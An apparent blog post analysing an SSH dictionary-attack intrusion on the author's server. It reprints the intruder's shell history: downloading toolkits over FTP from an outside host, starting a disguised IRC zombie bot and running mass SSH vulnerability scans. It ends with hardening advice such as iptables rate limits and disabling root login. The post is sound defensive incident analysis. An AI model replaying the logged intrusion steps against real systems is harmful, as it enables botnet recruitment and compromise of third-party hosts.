Anatomy of an SSH Brute Force Dictionary Attack

A few weeks ago I wrote that I had been noticing a large number of attempted SSH brute force dictionary attacks on my server. None were successful but I published some ways to protect yourself. This morning at 8am – a would be hacker succeeded in a dictionary attack – what he left behind was very interesting.

I wrote that my server was safe enough from these attacks and that my passwords were strong and the likelyhood someone could break into the server was virtually nill. There was one problem – I was not the only user of the server. I have several accounts that (well trusted) friends are allowed to use and one of them changed his password so that it matched his username. Since dictionary attacks look for this exact vulnerability when scanning – it did not take long for him to get in. Of course the account was not privileged in *any* way so no serious danger was caused. I was fortunate enough to notice the router lights going crazy this morning before I left for work. Curious as to what was going on, I poked around a bit and noticed a large volume of UDP traffic and figured out that I had been hacked. I immediatley disconnected the WAN port and began to investigate further.

What I found was very interesting and feel that I should share with everyone the anatomy of an SSH brute force hack.

The first thing I did was look at the .bash_history file in the user’s home directory which I shall call joe. The .bash_history is a list of all the commands you have typed in. The following is the content of that file:
ls
ls -lFa
ls
uptime
ls
cd /tmp
ls
cd ". "
passwd
/sbin/ifconfig | grep inet
wget http://www.kernel.org/pub/dist/superrescue/v2/superrescue-2.1.2.iso.gz
ls
rm -rf superrescue-2.1.2.iso.gz
ftp 212.247.250.250
tar xvf bots.tar
cd .bot
PATH="."
inetd
cd /tmp
tar xvf shh.tar
cd shh
ls
./scan 206.77
./scan 206.78
./scan 206.79
[ Note: there were many scan attempts]
c d/tmp
cd /tmp
cd shh
./scan 70.176
./scan 70.177
./scan 70.178
./scan 70.179
./scan 70.180
./scan 70.181
cd /tmp
cd shh
la
ls
cat vuln.txt
./scan 24.55
./scan 24.56
./scan 24.57
./scan 24.58
./scan 24.59
./scan 24.60
./scan 24.61
./scan 24.62
./scan 24.63
./scan 24.64

./scan 24.65
./scan 24.66
./scan 24.67
./scan 24.68
./scan 24.70
./scan 24.71
cd /tmp
cd shh
ls
cat vuln.txt
./scan 61.155
./scan 61.156
./scan 61.157
./scan 61.158
./scan 61.159
./scan 61.160
./scan 61.161
./scan 61.162
./scan 61.163
./scan 61.164
./scan 61.165
./scan 61.166
./scan 61.167
./scan 61.168
./scan 61.169
./scan 61.170
cd /tmp
cd shh
ls
cat vuln.txt
./scan 217.155
./scan 217.156
./scan 217.157
./scan 217.158
./scan 217.159
./scan 217.160
cd /tmp
cd shh
ls
cat vuln.txt
./scan 203.158
./scan 203.159
./scan 203.160
./scan 203.161
./scan 203.162
./scan 203.163
./scan 203.165
./scan 203.168
./scan 203.170
./scan 203.171
./scan 203.172
cd /tmp
cd shh
;s
ls
cat vuln.txt
./scan 192.145
./scan 192.146
./scan 192.147
./scan 192.148
./scan 192.149
./scan 192.150
./scan 192.151
./scan 192.152
./scan 192.153
./scan 192.154
./scan 192.155
./scan 192.156
./scan 192.157
./scan 192.158
./scan 192.159
./scan 192.160
./scan 192.161
./scan 192.162
./scan 192.163
./scan 192.164
./scan 192.165
./scan 192.166
./scan 192.167
./scan 192.168
./scan 192.169
./scan 192.170
./scan 192.171
./scan 192.172
./scan 192.173
./scan 192.174
./scan 192.175
./scan 192.176
./scan 67.45
cd /tmp
cd shh
./scan 67.44
cd /tmp
c dshh
cd shh
ls
cat vuln.txt
./scan 192.177
./scan 192.178
./scan 66.155
./scan 66.156
./scan 66.157
./scan 66.158
./scan 66.159
./scan 66.160
./scan 66.161
./scan 66.162
./scan 66.163
./scan 66.164
./scan 66.165
./scan 66.166
./scan 66.167
./scan 66.168
./scan 66.169
./scan 66.170
./scan 66.171
cd /tmp
cd shh
ls
cat vuln.txt
./scan 81.155
./scan 81.156
./scan 81.157
./scan 81.159
./scan 81.160
./scan 81.161
./scan 81.162
./scan 81.164
./scan 81.165
./scan 128.155
./scan 128.156
./scan 128.157
./scan 128.158
./scan 128.159
./scan 128.160
./scan 128.162
./scan 128.163
./scan 128.164
./scan 128.165
./scan 128.166
./scan 128.167
./scan 128.168
./scan 128.170
./scan 128.171
./scan 128.172
./scan 128.173
./scan 128.174
./scan 128.175
./scan 128.176
./scan 128.177
./scan 128.178
./scan 128.179
./scan 128.180
./scan 128.181
./scan 128.182
./scan 128.183
./scan 128.184
./scan 128.185
c d/tmp
cd /tmp
cd shh
ls
cat vuln.txt
./scan 80.155
./scan 80.156
./scan 80.157
./scan 80.158
./scan 80.159
./scan 213.177
./scan 213.17 8
./scan 213.178
./scan 213.179
./scan 213.180
./scan 213.181
./scan 213.182
./scan 213.183
./scan 213.184
./scan 213.185
./scan 213.186
./scan 213.187
cd /tmp
cd shh
;s
ls
cat vuln.txt
./scan 67.100
./scan 67.101
./scan 67.102
./scan 67.103
./scan 67.104
./scan 67.105
./scan 67.106


What’s going on above? The hacker logged in and checked some things out in the home directory (ls, ls -lFa). Then wanted to seee how long the server had been up for (uptime). Then, the hacker changed the password of the hacked account (passwd) and wanted to see what the IP address was of any interfaces on the machine (/sbin/ifconfig | grep inet).

Next, for some bizarre reason, he wanted to test the internet connection and read/writeability of the home directory (?) by issueing the command wget http://www.kernel.org/pub/dist/superrescue/v2/superrescue-2.1.2.iso.gz. After the file finished downloading, he immediately deleted it (rm -rf superrescue-2.2.2.iso.gz).

Now, he really gets to work by grabbing the necessary tools needed to exploit the server. Using FTP, he goes out and grabs two files, namely bots.tar and shh.tar.

The file size and contents of bots.tar is as follows:
File name: bots.tar
File size: 337920 bytes
Contents: drwxr-xr-x apache/apache 0 2005-08-29 05:26:06 .bot/
-rw-r--r-- apache/apache 65536 2003-03-30 09:04:34 .bot/core
-rwxr-xr-x apache/apache 143683 2003-10-21 10:16:53 .bot/inetd
-rw-r--r-- apache/apache 84 2005-08-29 05:25:36 .bot/mech.users
-rw------- apache/apache 12288 2005-05-09 06:43:43 .bot/.mech.users.swp
-rw-r--r-- apache/apache 22935 2001-04-06 13:00:50 .bot/mech.help
-rw-r--r-- apache/apache 1116 2005-08-29 05:23:08 .bot/mech.session
drwxr-xr-x apache/apache 0 2001-09-06 22:17:30 .bot/randfiles/
-rw-r--r-- apache/apache 830 2001-04-06 13:01:20 .bot/randfiles/randkicks.e
-rw-r--r-- apache/apache 2495 2001-04-06 13:01:34 .bot/randfiles/randpickup.e
-rw-r--r-- apache/apache 55316 2001-04-06 13:15:24 .bot/randfiles/randsay.e
-rw-r--r-- apache/apache 519 2001-04-06 13:01:26 .bot/randfiles/randnicks.e
-rw-r--r-- apache/apache 1465 2001-04-06 13:15:54 .bot/randfiles/randversions.e
-rw-r--r-- apache/apache 633 2001-04-06 13:15:42 .bot/randfiles/randsignoff.e
-rw-r--r-- apache/apache 5195 2001-04-06 13:01:10 .bot/randfiles/randaway.e
-rw-r--r-- apache/apache 2854 2001-04-06 13:01:16 .bot/randfiles/randinsult.e
-rw-r--r-- apache/apache 84 2005-08-29 05:25:52 .bot/mech1.users
-rw-r--r-- apache/apache 942 2001-04-06 13:00:32 .bot/checkmech
-rw-r--r-- apache/apache 84 2005-08-29 05:26:06 .bot/mech2.users
-rw-r--r-- apache/apache 6 2005-05-09 06:56:36 .bot/mech.pid
-rw-r--r-- apache/apache 2857 2005-08-29 05:24:15 .bot/mech.set
-rw-r--r-- apache/apache 1011 2005-05-09 07:00:02 .bot/mech.levels


The file size and contents of shh.tar is as follows:
File name: shh.tar
File size: 1413120 bytes
Contents: drwxr-xr-x support/support 0 2005-11-02 03:16:45 shh/
-rw-rw-r-- support/support 0 2005-11-02 02:50:33 shh/scan.log
-rwxr-xr-x support/support 282 2005-11-02 02:50:12 shh/scan
-rwxr-xr-x support/support 285 2005-11-02 02:49:20 shh/a
-rw-rw-r-- support/support 0 2005-11-02 02:49:36 shh/nobash.txt
-rw-rw-r-- support/support 0 2005-11-02 00:12:23 shh/vuln.txt
-rwxr-xr-x support/support 1384518 2005-06-05 13:24:05 shh/sshd
-rwxr-xr-x support/support 5944 2005-05-15 15:05:13 shh/pscan2
-rw-r--r-- support/support 5797 2005-05-15 14:53:29 shh/pscan2.c
-rw-rw-r-- support/support 2270 2005-11-02 03:16:45 shh/pass.txt


Once bot.tar was untarred, a local inetd daemon was started. I ran the inetd daemon and did a port scan on my own machine to see what port(s) it had opened up. It had created its own IRC server and was listening for commands – indicative of a so-called “Zombie bot” used in Distributed Denial Of Service (DDoS) attacks. Once inetd was loaded, the hacker began using my machine as another base of operations in scanning IP addresses that were also vulnerable to SSH dictionary attacks. After each ./scan X.Y all vulnerable IPs were logged in vuln.txt which is why he dumped out the contents of the file after each scan (cat vuln.txt).

How can you protect your server from such an attack?

Follow these simple guidelines:
1) Use good *strong* passwords (i.e. Six characters, upper AND lower case characters and at least one numeral). If you have other users, assign them a password that is difficult to guess and *do not* let them change it or enforce password rules mentioned above.
2) Disable root logins via SSH
3) Use the firewall rules I posted to drop packets after several failed SSH login attempts in X seconds

SSH Brute Force Dictionary Attack

I’ve been noticing a lot of attempted brute force attacks on port 22 (SSH) – undoubtedly from script kiddies. Many times, out of curiosity, I reverse DNS the IP and find a business website (usually in Korea or China) on the other end. I am sure these businesses have no idea their website has been hacked (probably on port 22) and is being used as a base of operations for bots that scour the net for other brute force attacks.

The chance these scripts, running through the most common username/password combos found on servers, would break into my server is highly unlikely. I have good strong passwords not based on a dictionary word and have disabled root logins for SSH. However, why even give them the chance? A little searching on the internet and a little firewall knowledge a la IPTABLES produces the following firewall rules:

iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --set
iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --update --seconds 60 --hitcount 4 -j DROP

These rules will basically drop packets that have attempted to logon more that 4 times in 60 seconds on port 22 (SSH). Of course, once hackers figure this out, they can limit their connection attempts to only three per minute — but I will have new rules waiting when that happens.

Protect yourself by ensuring your passwords are strong, disable root SSH logins, and adding these firewall rules to your sever.

To disable root logins for SSH, edit your /etc/ssh/sshd_config file. Then find the section labeled #Authentication:. You will find an option #PermitRootLogins yes – change this line to read:

PermitRootLogins no

Then restart your ssh daemon by issueing the command: /etc/init.d/sshd restart.